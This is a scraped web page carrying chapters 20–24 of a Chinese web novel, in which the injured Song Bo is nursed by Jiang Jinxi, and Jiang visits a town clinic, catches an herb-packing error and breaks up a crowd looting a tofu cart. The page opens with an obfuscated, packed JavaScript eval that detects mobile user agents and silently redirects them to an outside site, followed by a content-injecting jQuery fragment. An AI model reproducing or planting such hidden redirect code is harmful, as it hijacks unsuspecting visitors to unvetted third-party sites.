;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15309960|167245||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,不然宋泊的手没被伤痕毁去也会被热水烫坏。 还好现在已是秋季,热水放室外温度降得快,不过一刻钟时间就降到了不会烫人的温度。 宋茶栽让江金熙帮忙把宋泊的手拖着,流水冲过伤口处,进行了伤口清洗,洗完以后宋茶栽均匀地在宋泊的伤口上撒上金创药,接着要用布包扎起来。 “糟糕,诊盒里的布被我用完了还没补。”宋茶栽万万没想到诊盒里居然没有包扎用的布,“我返回去拿。” “什么样的布?”江金熙问。 “都可以,只是包扎用而已。”宋茶栽说。 墙塌了一片后整个卧房都塌了,但衣柜长得高,没有被废墟掩埋,江金熙顺利穿过废墟走到衣柜前,使了大劲把衣柜打开,拿出前几日宋泊给他买的衣服,“这个可以吗?” “可以,”宋茶栽捏了捏衣服布料,布料柔软,当包扎用的布正合适。只不过这衣服看着很新,很有可能是新衣服,她问:“这衣服真能用?” “可以用。”江金熙一点儿也不心疼,衣服哪儿能跟人相比,就算是拿他在京城里一匹千金的布来给宋泊包扎,他也是完全不会心疼的。 手上的伤口处理好后,宋茶栽便准备将宋泊挪回家,他们家的卧房已经塌了,住不了人。 “金熙你在这儿守着他,我去田里找你姑父。” 要谨慎小心地把人搬回去,还得让刘南民抬着车来。 “好。”江金熙点了头,蹲在宋泊身边。 宋茶栽走了,废墟中只剩下江金熙和宋泊两人,四周一片静谧,只有枯枝摩擦的声音。秋风吹了过来,不是非常冷却让他心寒。 江金熙感到迟来的害怕,前一个时辰还好好站着与他说话的人,现在却躺在血泊之中。要不是为了保护他,宋泊大可以护着自己,也不至于伤得这么重。 江金熙抬手抚上宋泊因为失血过多而苍白的脸,佛祖保佑,千万别让阎王收走他的命。 宋茶栽心急如焚,走得急回得快,刘南民在她身后推着木板车,两人一块儿疾步赶来。 刘南民看着宋泊的模样也是大吃一惊,“怎么伤得这么严重。” “回去再跟你解释。”宋茶栽张罗着,三人齐心将宋泊抬上了木板车,而后为了将他无伤运回,特意放慢了速度,花了半个时辰才把宋泊运回宋茶栽家。 宋茶栽家有空的偏房,房内的床铺铺着一件薄床单,宋泊被抬上床,江金熙看见木板车上宋泊躺着的地方一片雪色,他急语:“大姑,宋泊的背上也有伤口。” 按理来说手上的伤口包扎完后就不会再有血液渗出,可木板上留存的血液很多,肯定是宋泊还有其他的伤口没有被发现。 宋茶栽让刘南民把宋泊翻了个身,宋泊背后也是触目惊心的划伤。 “可是吃了苦了。”宋茶栽心疼地说着。 江金熙站在一旁听着,只觉着心中一阵愧疚。 21、第二十一章 宋泊再睁眼的时候,天色已经暗了下来,他看着不熟悉的天花板,思索自己身处何处。 他记得家中的墙塌了,然后他就失去了意识,这么想来,他应当是在宋茶栽家中。 宋泊正想偏头,轻轻一动就觉着脑袋后上方一阵闷疼,让他忍不住哼了一声,那墙瓦也真行,明明落下来的高度并不高,却杀伤力十足。 宋泊的声音唤醒了提心吊胆睡着的江金熙,江金熙问道:“你想做什么?我帮你。” “我想喝水。”宋泊说。 宋茶栽料到宋泊醒后第一件事就是找水喝,她特意交代江金熙,喝水可以,但只能勺子沾着小喝几口。 江金熙起身去拿装着水的碗,只是手一碰着碗边,他才发现水已经凉透了。 “我去热下,你等等。”江金熙说。 宋泊说:“不必了冷水就行,”可他现在虚弱无力,说话的声音实在小,江金熙根本没听着,拿着碗就出了房门。 算了,水热一下也好,省得冻着他的胃肠,再引发什么并发症。 许是一直有水热着,江金熙去得快,回来得也快,他回来以后先拿勺子滴了一滴水在手背上,感受水温,这个法子也是宋茶栽教他的。确定水温正合适,江金熙才舀了一层薄水,碰在宋泊的嘴唇上,而后勺子微微倾斜,水自勺儿尖滑入宋泊口中。 宋泊觉着自己就是沙漠中的植物,久逢甘霖,火烧着的喉咙缓了许多。 不过浅浅几勺江金熙就收了手,宋泊还没有喝足够,他不解地问着:“只给这么一点儿吗?” “大姑说你醒来以后不能喝太多水,不然会重新昏过去的。”江金熙时刻谨记着宋茶栽的嘱咐,一滴水都不会多给,这可是为了宋泊好。 宋泊对医学一窍不通,既然大姑这么说了,那定然有她的道理。 江金熙放下碗,重回床边再问,“你现在觉得如何?可有哪儿痛?” 宋泊刚想摇头,江金熙的动作却比他还快,两只手一左一右抚上宋泊的脑袋,“可不能摇。” 现在还没过十二时辰,一些并发症还未显露出来,宋泊伤在头上,头可金贵不能随便挪动。 微凉的指尖碰上他的脸颊,宋泊抬眸,看着江金熙,江金熙因为着急离他很近,浅褐色的瞳孔紧张地看着他,眼里的担忧清晰可见,宋泊忽然就笑了,他说:“谨遵江大夫的话,我不会乱动了。” 江金熙猛得收回手,转而抓着自己的耳垂,说:“看来你是没什么事儿,还有心思开玩笑。” “我没有开玩笑,”宋泊看着江金熙慌乱的背影,道:“我只是把以后的称呼提早罢了。” 清晨,太阳日复一日地升了起来,宋泊又一觉清醒,觉得自己好了不少。 江金熙担心他,不敢离他太远,就趴在床边睡了过去。 宋泊缓慢地挪了头,江金熙正朝着他这面儿睡着,白皙的脸蛋都被压出了衣服皱子,十分可爱。那挤着的脸蛋圆乎乎的看起来如棉花一般好戳,宋泊没忍住伸了手,正要碰着的时候,他指尖微屈,停了一下。 食指曲起、伸直,再曲起、再伸直,几个来回,在指尖离江金熙脸颊不过一厘米距离时,宋泊还是收回了手。 他这是想做什么,真是魔怔了。 收回手以后,为了摆脱心理那股旖旎的思想,宋泊闭上眼,没一会儿又睡了过去。 待宋泊的呼吸恢复平稳,江金熙翩翩睫毛扇动,睁开了眼,在宋泊动手的时候,他就被动静吵醒了来,他能觉着宋泊的指尖渐渐朝他靠近,他耳后发麻,说不出是什么感觉,似是期待又带了些紧张,宋泊应当是想要碰他的,只是不知道发生了什么,才让他把手收回了去。预料之中的触碰没有来临,取而代之的只是宋泊平稳的呼吸声。江金熙撑起脑袋,尖下巴抵着胳膊,他看着宋泊,有些失落。 宋泊再次醒来的时候,是被人摇醒的,宋茶栽坐在他的床侧,床头柜上放着一碗热乎乎的粥。 “睡那么久不吃东西怎么行。”宋茶栽扶着宋泊的肩膀,将他小心地挪了起来,靠在床板上。 “金熙呢?”宋泊问。 宋茶栽端起桌上的白粥,沿着碗边挖上一勺,吹了吹,“他在吃早餐,等会儿回来。” 宋泊一口一口吃着粥,不知不觉吃完了小半碗,宋茶栽没有装太多白粥,少食多餐才是宋泊适合的用餐频率。 “对了。”宋泊忽然想起家中厨房放着的食材,他现在这个样子肯定是下不了厨了,那些食材不用又是浪费,“大姑,我厨房里还放了食材,你去拿来用了吧。” 说到食材,宋茶栽调侃道:“看来你那顿饭还不是轻易能吃着的。” 事出意外,墙塌也不是他能预料到的,不过不管如何,他终究是失了承诺,宋泊道:“等我好了肯定做给你们吃。” “那你就得赶紧好。”宋茶栽收拾收拾东西,准备出去拿药进来。 “大姑。”宋泊喊住宋茶栽。 “还有什么事?”宋茶栽暂时停下动作,伏身倾听。 “你今天可有空?” 宋茶栽想了想,今天目前没有安排,“怎么了?” “今日我该上工的,可这个情况你也看着了,所以我想请你去码头跟船老板请个假,说明一下原因。”宋泊道,无缘无故旷工不是他的风格。 “可以。”宋茶栽应得爽快,不过去传福镇一趟而已,坐上牛车来回不过一个时辰,不耽误什么事儿。 “可以带金熙一起去吗?”宋泊再问。 原著里的江金熙是去传福镇里留的线索,让宋茶栽带着他早些进城,对他熟悉城镇环境也有一定的帮助。 本来宋泊是想摆脱江金熙自己前去传福镇的,但怕江金熙跑了被歹人拐了去,又怕江金熙不跑只身一人被歹人觊觎路上出事,还是让宋茶栽这个土生土长的长辈带着去妥当一些。 “你不怕他跑了?”宋茶栽问。 江金熙到底是被歹人强塞到宋泊怀中的,他心里定然想着返回家长,若是今日带他出去,江金熙跑了,她可是不会去追的。 “那也是他的选择。”宋泊道:“城里那么好,趁着这个机会带他出去看看也好。” 看宋泊的样子是真的不介意江金熙逃跑,宋茶栽也就应了这个活儿,她现在就站在十字路口,一边想要江金熙留下来继续当宋泊的夫郎,一边又觉得这样实在不厚道,江金熙不应当被迫留在村里。带他出去正好解决了这个问题,江金熙是跑是留,全看他自己,她不会干涉。 “对了,如果他喜欢什么,你就给他买了。”宋泊说着,“钱先赊着,我回家再拿给你。” 宋茶栽斜睨他一眼,“这小钱还要你出?看不起你大姑?”不是她吹,因着她学医的缘故,她在村中还算是比较有钱的,花点小钱完全没有问题。跟长辈出门还要小辈花钱,让别人听了可不得笑死,她丢不起这样的人。 江金熙端着药站在门口听着两人交谈,抓着药碗的手不自觉地收紧了几分,宋泊都伤得这么重了,还念着他。 他要是在这个时候在城镇里吃香的喝辣的,那才真的不是人。 掌握着进场的时机,江金熙在两人话题告一段落之时,端着药走进了房内。 之前闻着江金熙的中药就觉得苦,现在风水轮流转,轮到他喝苦药了。 因为宋泊伤得重,不仅得喝药还得吃药丸,粗略算来他得吃四颗药丸一碗中药,真是苦味加倍。 “你喂他喝药,我去准备下东西。”宋茶栽说。 江金熙装作自己没有偷听的样子,问:“准备什么东西?” “噢,等会我们要上传福镇一趟,正好可以把多的草药拿去卖。”宋茶栽说。 “我也去吗?”江金熙问。 “你也去。”宋茶栽答。 宋茶栽说完话就出了房门,江金熙侧坐在床上,眉头微微皱着。 “你怎么看起来不太高兴?”有上次的误会经验以后,宋泊学聪明了,有什么事儿直接问出来,省得自己猜测耗时耗力。 江金熙拿着勺子上下舀着药水降温,他答:“你是因为我伤成这样的,我哪儿有心思去城里。” 原来是这个原因,宋泊笑了,这有了嘴肯沟通,那些个误会一下子就能解开来。 “你笑什么?”江金熙问。 “我笑你傻。”宋泊说。 江金熙不乐意了,活了十七年,还是头一次有人说他傻。不过他没有甩面子走人,而是舀起一勺药往宋泊嘴里送去,只不过动作稍微粗暴了些许。 “是我自愿保护你的,你不必愧疚。”宋泊知道江金熙的动作里带了气,他赶紧解释道。 “怎么可能不愧疚?”江金熙反问,他是个正常人,自己害了别人受伤躺在床上,他怎么会不愧疚。 深知自己多说无用,宋泊决定曲线救国,“那行,那你就愧疚着,在我病着的时候对我好些。” 这倒像些话,江金熙不悦散去,喂药的动作轻柔多了。 22、第二十二章 宋茶栽与江金熙坐在去传福镇的马车上,因为江金熙长得漂亮,宋茶栽还特意拿了个面巾给他带上。她活了这么久,知道江金熙这幅面容的威力,若是没戴面巾,肯定会吸引来不少长着色胆的歹人。 江金熙这是头一遭出村,心底兴奋激动得不行,却还是按着情绪,两手规律地放在膝盖上,只眼睛往外边瞟着。 “欸!宋大夫,今日上镇卖药呐?” 车上有相识的人跟宋茶栽打照顾,她往宋茶栽边儿看着,看着江金熙两只圆亮有神的鹿眸,奇道:“宋大夫你家亲戚?” 宋茶栽笑着轻拍江金熙的肩膀,道:“欸,侄夫郎。” 村里人谁不知道宋茶栽的侄子就是宋泊那个扶不起墙的烂人,这人不仅有了夫郎,还是个漂亮的夫郎,妇人心底啧啧两声,不禁嘀咕着,“真是一朵鲜花插在牛粪上。” 妇人说话声音小,宋茶栽离得远听不着,江金熙离她近些却是听了个彻底,他看着妇人反驳道:“我夫君不是牛粪。” 要是搁在刚见面那会儿,江金熙也许也会这么觉着,但是今时不同往日,宋泊有多好他一清二楚。 不明真相的妇人随便编排宋泊,江金熙可听不过耳。 江金熙的声音不小,车上人都听了个清楚。听了这话,大家都看着那个妇人,虽然大伙儿不知道两人聊了些什么,但能当面说出对方夫君是牛粪的人,恐怕也不是什么好人。 妇人愧得想找个缝儿钻进去,便哑巴了一路,再没开口。 “刚刚那人说宋泊了?”下了车,宋茶栽才拉过江金熙问着。刚刚车上熟人太多,她不好细问,现在下了车大家都分散开来,不怕有人偷听,她才问江金熙。 “说了一句。”江金熙答道。 “我侄儿也敢说,下次来看病我可得多收点钱。”宋茶栽愤愤道。 街上人头攒动,虽然传福镇还没有到城的规模,但来来往往百姓众多,倒也不比城差。 宋茶栽记着宋泊的嘱咐,先领着江金熙上了码头。码头上男子味极重,汗臭味加上海腥味呛人得不行,江金熙眯了眼,抬手捂着口鼻随宋茶栽进了码头。 宋泊与他们说过船老板的特征,船老板确实好找,不过问了两个路人,就找到了船老板的船边。 “你说宋泊被墙压着脑袋了?”船老板蹭地一下从椅子上站起来。 “是,不过没伤得太重,只是需要静养一番,这才让我过来与你说一声。”宋茶栽说。 听宋茶栽这么说,船老板重新坐回椅子上,豪爽道:“成,让他多歇歇,好透了再来。” 也许是因为宋泊与他弟都是读书人,所以船老板总会对他偏心一些,脑袋可是读书人最重要的地方,轻微磕着碰着都会耽误读书,船老板可不想当罪人,毁了一个前途无量的读书人。 船老板已经在心底把宋泊定成了因为家中贫穷不得不出来搬货填补家用的苦命读书人。 “多谢船老板。”宋茶栽没想到船老板人只是看着不好相处,其实还挺好说话的。 江金熙站在宋茶栽身后,一言不发默默记住了船老板的长相,这人与宋泊有联系,以后不管用不用得上,还是记着为好。 说完事儿,宋茶栽领着江金熙进到镇中,这儿有一家医馆,是传福镇乃至整个金省都能说得上号的医馆。 江金熙站在医馆之前,这是一栋足有三层的建筑,大门上挂了招牌,招牌写着“愈馆”,让人一眼便知这儿就是医人治病的地方。 门口有人进有人出,络绎不绝,生意属实不错。 宋茶栽拉着江金熙的手腕进了愈馆,馆内一有些年纪的男子送走一病人以后,看到宋茶栽大声打了招呼,“师姐你来啦!” 听到称呼,江金熙心底一阵惊讶,看这店的规模就知道这儿肯定医术高超,不管宋茶栽是哪位大夫的徒弟,医术必然不会差到哪儿去,没想到小小的村子竟然藏龙卧虎。 宋茶栽直接将身上背着的筐篓交给男子,顺嘴问道:“师傅呢?” “在楼上缝皮呢。”男子答。 宋茶栽也没想打扰她师傅,只叫男子赶紧算钱,她还要买些药材回去。 男子跟宋茶栽很熟络,从宋茶栽的称呼中,江金熙知道此人名叫吴末。 吴末把东西交给店里负责算钱的会计,然后跟宋茶栽聊了起来,他颇为好奇地盯着江金熙瞧,嘴里问:“这是你家哥儿?” “侄夫郎。”宋茶栽答。 一个哥儿有了夫君,就能让大部分不怀好意的色胚收起心思。 这哥儿虽然捂着脸,但从漏出来的上半部分就能知道他必然是个美人坯子。不过吴末也只是好奇,他已经娶妻生子,没有那些个不该有的想法,他道:“你侄子也是有福气。” 江金熙环顾着四周,店内一楼氛围三块,收银区、看诊区和药区,药区放了数十个木制柜子,草药种类比宋茶栽家的多多了。 江金熙还在学习认识草药的阶段,便一直盯着药区瞧,脚步虽然跟着宋茶栽,心思却早已跑远了。 忽然,他看着有两个人边包药边聊天,有个人拿的药不小心落了片在另一个人的药包中,那人包药也不在意,视线固定在聊天人的面上,直接将那片药一块儿包了起来。 江金熙拉了下宋茶栽的衣袖,说:“大姑,好像有人把乌头和半夏包在一起了。” “什么!”宋茶栽收起跟吴末聊天的松弛性子,转而认真地看着江金熙,“那可是十八反,你在哪里看到的!” 江金熙引着宋茶栽走到那个包错药人面前,准确指着其中一包药,说:“就是这包,这里面混进去了一小片半夏。” 那个店员不知道江金熙要做什么,等听到他说的话以后,立刻出言反驳,“不可能!” 在医馆里工作怎么能不知道十八反和十九畏,他在这儿工作了多年,从来没有出过错,不可能会有十八反混入他包的药中。 “他包的药里有半夏。”江金熙看着另一个人,将刚刚他俩聊天的过程重说一遍。 “打开看看。”吴末也收起了笑容,他直接叫那个店员将药包打开。 这事儿毕竟关系到店的名声,吴末控制着音量,没有引起太多人关注。 那店员觉得自己被冤枉了,看着江金熙的眼神逐渐不友善起来,他为自己辩解,“吴医师,你怎的信一个外人呢?” “保险为好。”吴末说。 店员不情不愿地打开药包,嘴里还说着,“一个哥儿,哪儿懂什么药啊。” 宋茶栽听着不悦,她一把夺过店员手里的药包,三两下拆开来,一片不规则的半夏就躺在其中,而它旁边便是与它形成十八反关系的乌头。 “你个男子很懂药吗?”宋茶栽直接将药包拍在桌上,“吃死人了你拿什么负责?” 把十八反的药包在一起,这人的医药生涯也算葬送了。 吴末先压着消息,准备等师傅下来以后再告知他,他看着那店员道:“你的工作从此刻停了,收拾收拾准备走人吧。” 店员也很讶异自己包的药里有半夏,跟他聊天的人已经看着情况不对跑得老远,他怎么会自己一人背下锅,当即便指了那人,“是他故意把半夏放进我药包里的!” 涉及自身利益的人都会变得狰狞,之后的事是愈馆的内事,江金熙没兴趣听也没兴趣管。 那两人吵着吵着都快掐起架,最后还是喊人把两人拉开以后,这馆内才平和下来。 “真是多亏你了,医馆的药要是吃死人了,这店儿也不用再开了。”现在想起来,宋茶栽还是一阵后怕,这可是她师傅苦心经营几十年的店,她亲眼见着这店从一家小店变成这样的规模,若是真的被那人给毁了,师傅的名声也会毁于一旦的。 “是大姑教的好。”江金熙说。 “我哪儿教你了,不过给了你一本中药集。”宋茶栽说,江金熙真是十分聪慧的人,那本中药集不薄,就算是她也看了足足一个月才把全部内容背下,十八反和十九畏在书籍最后,江金熙却已经能认出十八反,可见他已经快将书背完了。 “那也是大姑给我中药集的功劳。”江金熙说。 “一张小嘴吃了蜜了,这么甜。”宋茶栽心底的淤气被江金熙哄散了,她越发喜欢江金熙。 “没有的。”江金熙说。 宋茶栽要等她师傅下来打个招呼,江金熙便趁这个机会多学些草药的模样,书里的知识终究只在书上,他还得亲眼目睹以后,才能将其计入脑中。 吴末拿了钱来,草药是贵重物,宋茶栽背来的都是寻常草药却也赚了五两银子,江金熙想起那天族会说的话,宋泊还有地,他或许可以用那些地种些草药,不仅可以自用,还可以摘来卖赚些银两,这样他也有了收入来源,生活的重担不必落在宋泊一人肩上。 江金熙越想越觉得这事儿可行,等会儿回去之后,他就要跟宋泊商量商量。 23、第二十三章 等了半个时辰,宋茶栽的师傅才从楼上下来。 来者是位看起来十分精练的老者,他体格细瘦但精神极佳,下楼时的步伐都带着气,神采奕奕。 吴末等他到楼下喝了口水以后,才把药师出问题的事告知他。 宋师傅一听他的店里发生这事儿,来不及与宋茶栽叙旧,又上了三楼,解决此事。 没一会儿那两个犯了错的店员灰头土脸地从楼上下来,看样子应当是真被医馆辞了去。愈馆可是传福镇乃至金省内有名的医馆,被这儿辞去的人,其他医馆也是不敢再用的,可以说那两人除了转行,别无出路。 这样也好,医人救命的事儿怎么能马虎。 江金熙看着他们离开的背影并不觉得可惜,只觉得宋师傅真是果断,此等心不在焉之人并不适合医学。 宋师傅再下楼的时候,时间已经到了午时末,江金熙心底记挂着宋泊,便想着赶紧回去,他蹭到宋茶栽身边,在她耳边轻言,“大姑,宋泊的药还没换呢,我们可需早点回去。” 宋茶栽轻拍江金熙的手背,应声:“好。” 宋师傅坐在江金熙对面,一坐下便开口说:“听闻刚刚是你提出了包错药的事。”边儿有店员要帮着斟茶,被宋师傅抬手挥走,让他们做自己的活儿去。 自己做的事,江金熙也不谦虚,直接应了“是”。 宋师傅捋了捋胡须,猜:“你应是茶栽的徒弟?” 江金熙点头,“是的。” 宋师傅转眼看向宋茶栽,“教了几月?” “未到一周。”宋茶栽答。 听着回答,宋师傅眼底一抹震惊闪过,还未一周就有认药识药的能力,这可是个学医的好胚子。宋师傅医者仁心,只想为天下培养出更多大夫,解决百姓身体上的苦,这般好苗子他当然不会放过,他认真地看向江金熙,问得严肃,“你真想学医?” “是。”江金熙回得坚定。 之前他只是基于兴趣才看医书,可自昨日墙塌事发生,看见宋泊倒在血泊中后,他便坚定了学医的决心,往后若是再有类似的事情发生,他可不用着急忙慌求助他人,只凭自己的真本事就能救下宋泊。 “好!”宋师傅喊人去他的房内找了几本基础的医术交于江金熙,“你且跟着茶栽学着,学完她的本事还想再往上提升,再来找我。” 宋茶栽是他的得意弟子之一,想要学完她的本事不是件易事,很多人嘴上说着雄心壮志,学到一般被苦逼退了去,每日来找宋师傅看病的人极多,现在的他已经不可能收徒再从头教起。让宋茶栽教,一方面可以考验江金熙,一方面也可以让宋茶栽重温医学知识。 江金熙如获珍宝,他珍惜地抱着书籍,说:“多谢师祖。” 宋师傅哈哈笑了两声,笑称自己终于当上了师祖。 又闲聊几句以后,江金熙和宋茶栽带着东西辞别,除了宋师傅给的医书,他俩还买了一些宋泊需要的家里没有的药材和三罐金疮药、三罐生肌膏。 “师傅当是很喜欢你。”宋茶栽说,那书她小时候见过,宋师傅可宝贝了,只能借看不能带走。现在随便一挥手就给了江金熙四本,可见是真的很重视他。 江金熙抱紧怀中书,说:“我必不会让大姑和师祖失望的。” 来城里的事儿都解决了,江金熙与宋茶栽就打算回村。 前头忽而嘈杂起来,有些百姓挤了进去,再出来时手里捧着白物,因着场面太过混乱,江金熙还未看清他们手中拿了什么,就被其他人的身形遮了去。 “前头这是发生了什么事。”宋茶栽热热心肠一人,她张望着就打算挤进去。 江金熙把包着书的包袱背在胸前,跟宋茶栽一块儿挤进了人堆中。 江金熙人瘦,脸被挤得变了型以后,才挤到人圈前头,原来是一豆腐车翻了,大伙儿都在抢着落地上的豆腐,有带篮子的就用篮子装,没带篮子的就用手捧。一长得比寻常女子稍微壮实一点的女子揪着人叫人还豆腐,可仅凭一人之力,哪儿拦得住那么多人,只能眼睁睁地看着豆腐越来越少。 “我劝各位还是放下手中的东西。” 一片嘈杂之中,清脆干净的声音显得格外突出。 江金熙上前一步现在豆腐车前,说:“盗窃者,仗十,趁乱盗窃者仗二十,各位若是不想遭受皮肉之苦,最好还是把手里的东西放下。”说话之间,他目视众人,眼中凝意吓得作乱者不敢乱动。 “你说是就是呢?”有胆子大的出言反驳。 江金熙立即循声看去,准确地抓住那人,没想到会被江金熙发现,那人瑟缩着躲到别人身后。 “是与不是,报官便知。”宋茶栽在这时到了最前头,江金熙便拜托她报官。 见宋茶栽真的往官府方向去了,百姓们哪儿还敢拿东西,占点小便宜被抓去打板子那可划不来。 百姓们一哄而散,没人再抢豆腐车上落下来的东西。 女子这才可以稍微拾回一些,挽回损失。 “欸,小哥儿稍等。”女子喊住欲离开的江金熙,从车上包了几块完好无损的豆腐给江金熙,“谢谢你帮我赶走了他们。” “小事一桩。”江金熙把豆腐推回,“你已损失许多,不必再送。” “不行。”女子坚决要把豆腐塞进江金熙的怀中,“就算我没读过书,也知道人要知恩图报。你若是不收,我会整宿整宿睡不着觉的。” 女子说得如此严重,江金熙也不好再推脱,只好收下了豆腐。 没想到这一次出门不仅完成了宋泊交代的事情,还有不少意外收获。 回到宋茶栽家,江金熙的第一件事就是进到偏房,看看宋泊醒了没。也是他们没有掌握好时间,这一来一回竟去了两个时辰多。 还好宋泊还没醒,他便将带回来的东西找地儿放好。 宋茶栽去了宋泊家一趟,将他说的放在厨房里的食材全都拿了回来,她捏着一大块猪肉,说:“他也是舍得花钱,这么大块的猪肉少说也要上百钱。” 江金熙把拿回来的豆腐一块儿一块儿码好,闻言他答:“请大姑、姑父吃饭,自然得买最好的。” 除了猪肉,宋泊还买了一小块羊肉、两条鱼、一只鸡,这肉的种类可谓是非常丰富。 平民百姓一周能吃上三、四次肉就已经算是家中富裕了,这宋泊不买则已,一买直接买了一堆,被他人瞧着岂不眼馋。 宋茶栽知道宋泊赚钱不易,她一边把鱼鳞剐了去,一边说:“随便吃点得了,花这么多钱作甚。” 这些食材买都买了,放了一天已是不新鲜,再接着放下去只会臭掉浪费,宋茶栽只能一边念着宋泊,一边把食材全都做了,“买这么多,咱们不过四人,哪儿吃得完。” 江金熙看着桌上满满当当的食材,除去那些肉,宋泊还买了不少菜,五颜六色地摆在桌上,别提多壮观。他对做菜没有概念,却也知道这些菜大抵能做上几盘,他想到以前在京城时,娘给他买的腊肉,便提议道:“大姑会做腊肉吗?” “当然会。”宋茶栽答。 百姓们买了肉一般不舍得一下吃完,他们会把猪肉腌制、风干形成腊肉,腊肉储存时间极长,这样即有味儿,又能在做菜的时候添上几块加些肉味,也算弥补了不能常常吃肉的遗憾。 “那大姑可以把猪肉做成腊肉,我们只吃鸡和鱼就行。”江金熙说。 “是啊。”宋茶栽应声,“就按你说的做。” 只要把那一大块猪肉处理掉,剩下的鱼、鸡,再加上几盘青菜就足够四个人吃了。 不过现在宋茶栽腾不出手来,刘南民又到田中干活去了,只能由江金熙来处理那块腊肉。 江金熙从未下过厨,对于做饭他是一窍不通,听着宋茶栽的话,他抓上一把盐摸在猪肉之上,猪肉滑腻腻的,这种感觉让他极不舒服,可为了帮宋茶栽忙,他也只能强迫自己忍下这股不适感。 听着身边砰砰的剁肉声,江金熙不自觉地抬眼过去瞧着,宋茶栽手起刀落十分爽快,一刀一刀将鸡肉分成了小块。 江金熙有些敬佩会下厨的人,因为他们可以面不改色地处理好活物,若是让他来杀鸡宰羊,恐怕刀还未落在鸡上,他就已经掩目逃跑了。 宋茶栽处理好鸡肉以后,把鸡块丢进盆里腌制,而后给鱼划上几道刀痕后,将鱼放入锅中煎,霹雳扒拉油声响着,香味瞬间侵入江金熙的鼻腔当中,距离吃早饭的时间已经过去很久了,他早就饿了。 不过江金熙也未着急,而是继续细心地处理自己手上的猪肉,想到它之后会变成好吃的腊肉,他心中那股不适感又降下去不少。 在厨房里忙活了一阵,宋茶栽才把菜端出去,刘南民白日不在家中吃饭,只她们三人,她就只做了条鱼和两盘青菜,晚上才打算将所有的菜做齐。 24-30 第24章 第二十四章我也喜欢。 宋泊被一股尿意憋醒,经过半日多的休息,他脑袋上的闷痛感减轻,身上的伤口处隐隐作痛,他斜撑着身体从床上爬起来,支着手臂缓慢挪着身体从床上下来,他穿上鞋,跟一个刚学会走路的孩童一般,小心翼翼、一步一步挪动地往前走。 虽说身体上的感觉已经褪了不少,但毕竟脑袋受了伤,宋泊还是害怕一个不小心撞着哪儿、晃着脑儿,到时倒在地上,又给江金熙和宋茶栽添麻烦。 有人影印在窗户上,人影移动,江金熙打开偏房房门,见宋泊站在房中,他赶紧一个跨步进去,把饭菜放在房内的木桌上,扶着宋泊的胳膊,“你打算去哪儿?” “想去如厕。”宋泊说。 早些时候宋泊因着失血过多一直没有尿意,在前俩时辰喝了药又喝了粥,身体情况又有好转,这才起了如厕之感。 江金熙想也没想,言道:“我扶着你去,快些也稳些。” 能自己起身如厕那必然是急了,江金熙怕宋泊忍不住,还贴心地说着:“不然我去问问大姑有没有便壶,你在房间方便也行。” 宋泊一个成年人,而且还没到动弹不得的地步,自然不愿意在房内方便,他直接拒绝,“不必,你扶我去茅厕就是。” 有了江金熙帮忙,宋泊行动的速度快上不少,宋茶栽端药过来,正瞅着宋泊与江金熙的背影,两人一高一矮,宋泊的身子微微斜向江金熙一侧,垂着的头发因风吹着缠绕在一起,颇有种真夫夫的感觉。 江金熙这次出村,一丝跑路的趋向也无,忙前忙后都在张罗宋泊的事儿,本来金疮药和生肌膏各一瓶就够了,他非得拿三瓶,说是不想宋泊留疤。 当局者迷,旁观者清,宋茶栽端着药反身回去,她等会儿再来好了。 还好宋茶栽家的茅厕和偏房离得不远,不然宋泊真忧心自己还没抵达茅厕就先尿裤子了。 推开茅厕的门,宋泊走入其中,古代的厕所质朴、简单,一走进来便是一股熏人的味儿,以往宋泊都是速战速决,今日却只能忍受着这股臭意,慢慢动作。 江金熙守在门外,他不敢离得太远,怕宋泊喊他他听不着。 可能是茅厕味道太重了,宋泊的脑袋忽然有些迷糊,他一手撑着墙,等着那股劲儿过去以后,才继续开始行动。 过了一会儿,茅厕里还是安安静静,江金熙耳廓微动,思量一会儿以后,开口、闭口、再开口、再闭口,如此循环往复了一阵,才下定决心开口,“需要我、进去帮你吗?” “不用。” 听到宋泊的回答,江金熙大松一口气,语气都轻松了不少,“那你有需要再喊我,我就在门外。” “好,多谢。”宋泊的声音从里头传了出来。 方便过后,宋泊浑身舒畅,被尿憋着的感觉可不好受,他自高考体会过一次以后,就再没体验过了,没想到来到古代才十几天又体验了一遭。 宋泊撑着茅厕的墙开门,说着:“好了,你扶我回去吧。” 回到房中,江金熙将宋泊重新扶回床上之后,才把桌上的饭菜端来。 这一来一去又花去不少时间,饭菜都凉了,江金熙坐在宋泊床边,抬手摸了下碗边,碗的温度比他的手还凉,他道:“你等我会儿,我拿去厨房热下。” 宋泊抬手攥住江金熙的手腕,“不用去热了,我就爱吃冷的。” 江金熙立即反驳,“那怎么行?” 宋泊直接拿着汤勺挖了一勺饭送入口中,“那当然行。” 宋泊已经有了自己吃饭的力气,便没让江金熙喂他,他叫江金熙把饭菜全都倒入碗中,他端着碗,小口小口吃着,既方便,饭还能沾上菜的咸味儿。 宋泊安静地吃着饭,房内陷入一片寂静,江金熙忽然开了口,把他今日去传福镇发生的事儿全都与宋泊说了。 宋泊正好将饭菜吃完,他放下碗,重述道:“你把人家包错药的事情说了出来,又帮了个摊主赶走作乱者?” 江金熙呡着唇点头,听宋泊他这语气不知道宋泊是要夸他还是要骂他。 “你怎么这么厉害?难道你其实是个天才?”宋泊夸着,他实在没想到,江金熙不过看了几日的医书就能指出别人在包药上犯的错。不仅如此,他还能在众人包围之下挺身而出,脑袋清醒地说出恒国法律,这说明江金熙本身就是个聪慧机敏的人,如此人物在任何领域都会有大作为,可原著中却将他毁成了金丝雀。 江金熙不过十七岁的少年,刚及笄不久,放现代还是个少年人,本就还在喜欢人夸赞的年纪,听着宋泊对他的夸奖,他高兴得藏在鞋子里的脚趾微动,面上却还是板着,“这有什么的,不过举手之劳而已。” “金熙相当聪颖,连我师傅都对他喜爱有加。”宋茶栽掐着时间端着药重新回来,在房外她听着两人谈论的事儿,便插了句嘴走进来。 “你师傅?”宋泊问。 